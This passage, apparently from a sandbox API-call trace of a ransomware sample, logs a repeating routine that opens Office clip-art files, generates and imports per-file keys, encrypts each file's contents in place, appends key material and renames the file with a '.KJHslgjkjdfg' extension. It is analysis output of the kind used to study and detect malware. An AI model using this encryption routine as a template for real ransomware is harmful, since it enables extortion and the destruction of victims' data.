phKey=0x29df274*=0x9b6628) returned 1 [0200.794] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.794] GetProcessHeap () returned 0x990000 [0200.794] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.794] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.794] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.794] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.795] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.795] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.795] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2d21, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2d21, lpOverlapped=0x0) returned 1 [0200.796] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d30, dwBufLen=0x2d30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2d30) returned 1 [0200.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2d30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2d30, lpOverlapped=0x0) returned 1 [0200.797] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2e04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] SetEndOfFile (hFile=0x130) returned 1 [0200.799] GetProcessHeap () returned 0x990000 [0200.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.799] GetProcessHeap () returned 0x990000 [0200.799] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.799] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.kjhslgjkjdfg")) returned 1 [0200.801] CloseHandle (hObject=0x130) returned 1 [0200.801] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0200.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.801] GetProcessHeap () returned 0x990000 [0200.802] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.802] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.802] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.802] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0200.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.807] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.807] GetProcessHeap () returned 0x990000 [0200.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.807] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.807] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.807] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.807] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.808] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.808] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.808] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.808] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9e8a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9e8a, lpOverlapped=0x0) returned 1 [0200.809] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e90, dwBufLen=0x9e90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e90) returned 1 [0200.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.810] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9e90, lpOverlapped=0x0) returned 1 [0200.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.810] SetEndOfFile (hFile=0x130) returned 1 [0200.813] GetProcessHeap () returned 0x990000 [0200.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.813] GetProcessHeap () returned 0x990000 [0200.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.kjhslgjkjdfg")) returned 1 [0200.814] CloseHandle (hObject=0x130) returned 1 [0200.814] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2590, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0291794.WMF", cAlternateFileName="")) returned 1 [0200.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.815] GetProcessHeap () returned 0x990000 [0200.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.815] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.815] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.815] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.815] GetProcessHeap () returned 0x990000 [0200.815] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.815] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.815] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.815] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.817] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.817] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.817] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.817] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.817] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.817] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.817] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2590, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2590, lpOverlapped=0x0) returned 1 [0200.818] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590, dwBufLen=0x2590 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2590) returned 1 [0200.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.818] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2590, lpOverlapped=0x0) returned 1 [0200.818] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.818] SetEndOfFile (hFile=0x130) returned 1 [0200.820] GetProcessHeap () returned 0x990000 [0200.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.820] GetProcessHeap () returned 0x990000 [0200.820] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.820] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0291794.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0291794.wmf.kjhslgjkjdfg")) returned 1 [0200.821] CloseHandle (hObject=0x130) returned 1 [0200.821] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292248.WMF", cAlternateFileName="")) returned 1 [0200.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.830] GetProcessHeap () returned 0x990000 [0200.830] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.830] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.830] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.831] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0200.833] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.833] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.833] GetProcessHeap () returned 0x990000 [0200.833] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.833] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.833] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.833] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.833] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.833] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.833] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.834] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0200.834] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.834] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.834] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20e4, lpOverlapped=0x0) returned 1 [0200.835] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0) returned 1 [0200.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.835] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20f0, lpOverlapped=0x0) returned 1 [0200.835] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.835] SetEndOfFile (hFile=0x130) returned 1 [0200.837] GetProcessHeap () returned 0x990000 [0200.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0200.837] GetProcessHeap () returned 0x990000 [0200.837] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0200.837] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292248.wmf.kjhslgjkjdfg")) returned 1 [0200.839] CloseHandle (hObject=0x130) returned 1 [0200.839] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7aa6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0292270.WMF", cAlternateFileName="")) returned 1 [0200.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0200.839] GetProcessHeap () returned 0x990000 [0200.839] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0200.840] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0200.840] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0200.840] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0200.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0200.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0200.842] GetProcessHeap () returned 0x990000 [0200.842] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0200.842] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0200.842] CryptDestroyKey (hKey=0x9b6628) returned 1 [0200.842] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0200.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0200.842] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0200.842] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0200.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0200.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, 